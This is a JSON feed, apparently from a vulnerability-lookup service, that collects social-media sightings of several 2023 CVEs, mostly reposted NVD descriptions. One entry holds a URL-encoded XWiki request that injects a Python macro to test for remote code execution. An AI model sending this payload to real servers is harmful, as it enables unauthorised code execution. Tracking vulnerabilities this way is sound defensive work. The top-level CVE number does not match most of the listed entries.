{"vulnerability": "CVE-2023-3746", "sightings": [{"uuid": "28da94d0-65a8-4ead-9d90-396e111ed345", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-37460", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lwrsq2mqaj2y", "content": "", "creation_timestamp": "2025-08-19T21:02:32.392790Z"}, {"uuid": "20745150-4b37-43b0-9502-30e46d38aee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-3746", "type": "seen", "source": "https://t.me/cibsecurity/72341", "content": "\u203c CVE-2023-3746 \u203c\n\nThe ActivityPub WordPress plugin before 1.0.0 does not sanitize and escape some data from post content, which could allow contributor and above role to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:07.000000Z"}, {"uuid": "21e36b89-b040-493c-9ddd-9e7e3ef72f27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://t.me/ctinow/177684", "content": "https://ift.tt/oO9Y4mZ\nCVE-2023-37466 Exploit", "creation_timestamp": "2024-02-01T17:16:30.000000Z"}, {"uuid": "52e98b0b-dffc-4f87-abde-85732be34f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-37469", "type": "seen", "source": "https://t.me/cibsecurity/69162", "content": "\u203c CVE-2023-37469 \u203c\n\nCasaOS is an open-source personal cloud system. Prior to version 0.4.4, if an authenticated user using CasaOS is able to successfully connect to a controlled SMB server, they are able to execute arbitrary commands. Version 0.4.4 contains a patch for the issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-25T02:13:34.000000Z"}, {"uuid": "ce19ef7f-a19f-48c2-a822-cc6bf675390f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-37461", "type": "seen", "source": "https://t.me/cibsecurity/66860", "content": "\u203c CVE-2023-37461 \u203c\n\nMetersphere is an opensource testing framework. Files uploaded to Metersphere may define a `belongType` value with a relative path like `../../../../` which may cause metersphere to attempt to overwrite an existing file in the defined location or to create a new file. Attackers would be limited to overwriting files that the metersphere process has access to. This issue has been addressed in version 2.10.3. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-18T00:45:31.000000Z"}, {"uuid": "478f1964-ad70-4da3-9210-4646fb946721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-37460", "type": "seen", "source": "https://t.me/cibsecurity/67265", "content": "\u203c CVE-2023-37460 \u203c\n\nPlexis Archiver is a collection of Plexus components to create archives or extract archives to a directory with a unified `Archiver`/`UnArchiver` API. Prior to version 4.8.0, using AbstractUnArchiver for extracting an archive might lead to an arbitrary file creation and possibly remote code execution. When extracting an archive with an entry that already exists in the destination directory as a symbolic link whose target does not exist - the `resolveFile()` function will return the symlink's source instead of its target, which will pass the verification that ensures the file will not be extracted outside of the destination directory. Later `Files.newOutputStream()`, that follows symlinks by default, will actually write the entry's content to the symlink's target. Whoever uses plexus archiver to extract an untrusted archive is vulnerable to an arbitrary file creation and possibly remote code execution. Version 4.8.0 contains a patch for this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-26T00:27:22.000000Z"}, {"uuid": "4946eb4c-eb3f-4440-900d-af031ebdae42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://t.me/cibsecurity/66711", "content": "\u203c CVE-2023-37466 \u203c\n\nvm2 is an advanced vm/sandbox for Node.js. The library contains critical security issues and should not be used for production. The maintenance of the project has been discontinued. In vm2 for versions up to 3.9.19, `Promise` handler sanitization can be bypassed with `@@species` accessor property allowing attackers to escape the sandbox and run arbitrary code. Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-14T07:11:58.000000Z"}, {"uuid": "d8d35183-0d13-486e-92e2-cc408f1c4dd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-37468", "type": "seen", "source": "https://t.me/cibsecurity/66705", "content": "\u203c CVE-2023-37468 \u203c\n\nFeedbacksystem is a personalized feedback system for students using artificial intelligence. Passwords of users using LDAP login are stored in clear text in the database. The LDAP users password is passed unencrypted in the LoginController.scala and stored in the database when logging in for the first time. Users using only local login or the cas login are not affected. This issue has been patched in version 1.19.2.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-14T00:11:48.000000Z"}, {"uuid": "30b1d47b-dfc6-4216-857b-ec45c6466f08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-37463", "type": "seen", "source": "https://t.me/cibsecurity/66704", "content": "\u203c CVE-2023-37463 \u203c\n\ncmark-gfm is an extended version of the C reference implementation of CommonMark, a rationalized version of Markdown syntax with a spec. Three polynomial time complexity issues in cmark-gfm may lead to unbounded resource exhaustion and subsequent denial of service. These vulnerabilities have been patched in 0.29.0.gfm.12.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-14T00:11:47.000000Z"}, {"uuid": "067f9259-2649-4bdc-a219-6430c8e8cdea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-37462", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/997", "content": "cve-2023-37462  \n\nGET  /bin/view/%22%5d%5d%20%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%22%74%72%75%65%22%20%63%61%63%68%65%64%3d%22%66%61%6c%73%65%22%20%63%6f%6e%74%65%78%74%3d%22%64%6f%63%2e%72%65%66%65%72%65%6e%63%65%22%7d%7d%7b%7b%70%79%74%68%6f%6e%7d%7d%70%72%69%6e%74%28%33%37%32%34%33%34%38%20%2a%20%38%34%37%33%33%33%34%29%7b%7b%2f%70%79%74%68%6f%6e%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d?sheet=SkinsCode.XWikiSkinsSheet&xpage=view\n\n#poc", "creation_timestamp": "2023-09-03T07:06:43.000000Z"}, {"uuid": "7ab01b0b-6f12-47d7-89ba-c295cfbe498d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3ml2azcq27d2c", "content": "", "creation_timestamp": "2026-05-04T18:03:14.785539Z"}, {"uuid": "f96fd294-6858-489b-8f07-600b1931dc60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml2ckkquyt2l", "content": "", "creation_timestamp": "2026-05-04T18:30:48.671010Z"}, {"uuid": "7d81a0e6-3bbf-4e17-b8d7-8bbc2eaa9def", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-37466", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mlicivo2zc2f", "content": "", "creation_timestamp": "2026-05-10T08:07:08.195096Z"}]}